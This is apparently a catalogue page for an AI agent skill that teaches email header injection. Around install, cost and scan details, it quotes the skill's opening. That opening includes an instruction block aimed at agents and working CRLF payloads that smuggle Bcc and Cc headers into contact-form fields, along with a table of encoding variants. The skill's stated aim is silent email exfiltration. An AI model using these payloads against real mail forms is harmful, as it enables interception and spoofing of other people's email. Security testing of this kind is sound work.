Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/email-header-injectionWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/email-header-injection)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/email-header-injection"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/email-header-injection.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00059 | $0.03107 |
| Opus 5 | $0.00030 | $0.01554 |
| Sonnet 5 | $0.00012 | $0.00621 |
| Haiku 4.5 | $0.00006 | $0.00311 |
Grade A, and why
email-header-injection scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to email-header-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 350 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Email Header Injection — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert email header injection and authentication bypass. Covers SMTP CRLF injection, SPF/DKIM/DMARC circumvention, display name spoofing, and mail client rendering abuse. Base models miss the nuance between header injection (technical) and email auth bypass (protocol-level) — this skill covers both attack surfaces.
0. RELATED ROUTING
- crlf-injection — general CRLF injection; email headers are a specific high-value sink
- ssrf-server-side-request-forgery — when SMTP server is reachable via SSRF (gopher://smtp)
- open-redirect — redirect in password-reset emails as phishing amplification
1. SMTP HEADER INJECTION FUNDAMENTALS
SMTP headers are separated by CRLF (\r\n). If user input is placed into email headers without sanitization, injecting %0d%0a (or \r\n) adds arbitrary headers.
Injection anatomy
Normal header construction:
To: [email protected]\r\n
Subject: Contact Form\r\n
From: [email protected]\r\n
Injected (via Subject field):
Subject: Hello%0d%0aBcc: [email protected]\r\n
Result:
Subject: Hello\r\n
Bcc: [email protected]\r\n
Encoding variants to try
| Encoding | Payload |
|---|---|
| URL-encoded | %0d%0a |
| Double URL-encoded | %250d%250a |
| Unicode | \u000d\u000a |
| Raw CRLF | \r\n (in raw request) |
| LF only | %0a (some SMTP servers accept LF without CR) |
| Null byte + CRLF | %00%0d%0a |
2. ATTACK SCENARIOS
2.1 BCC Injection — Silent Email Exfiltration
Input field: email / name / subject
Payload: [email protected]%0d%0aBcc:[email protected]
Effect: attacker receives a copy of every email sent through this form
2.2 CC Injection with Header Stacking
Payload in "From name" field:
John%0d%0aCc:[email protected]%0d%0aBcc:[email protected]
Result headers:
From: John
Cc: [email protected]
Bcc: [email protected]
... (original headers continue)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 350 lines · 59 tokens per session scan A 4fb9f4621eb6
email-header-injection is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 1mo ago), licensed MIT. It adds 59 tokens to every session and 3,107 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to email-header-injection, differing in 0 lines, and is treated as a copy.
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